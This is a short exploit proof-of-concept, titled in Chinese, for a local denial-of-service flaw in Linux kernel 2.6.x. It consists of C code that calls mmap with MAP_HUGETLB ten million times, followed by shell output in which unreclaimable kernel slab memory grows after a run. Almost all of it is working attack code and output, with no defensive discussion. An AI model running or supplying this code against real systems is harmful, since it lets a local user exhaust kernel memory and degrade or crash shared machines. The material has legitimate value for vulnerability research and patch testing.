Linux kernel 2.6.x 'mmap()'失败本地拒绝服务漏洞

                                                #include <sys/mman.h>
#include <stdlib.h>
#ifndef MAP_HUGETLB
#define MAP_HUGETLB 0x0040000
#endif
int main() {
    for (int i=0; i!=10000000; ++i) {
        void* ptr=mmap(NULL, 2*1024*1024, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_HUGETLB, 0, 0);
        if (ptr!=MAP_FAILED) abort();
    }
    return 0;
}
-------
g++ -O2 test.cpp && echo good
good
$ egrep 'SUnreclaim|HugePages_Total' /proc/meminfo
SUnreclaim:      1900756 kB
HugePages_Total:       0
$ ./a.out && echo good
good
$ egrep 'SUnreclaim|HugePages_Total' /proc/meminfo
SUnreclaim:      2213268 kB
HugePages_Total:       0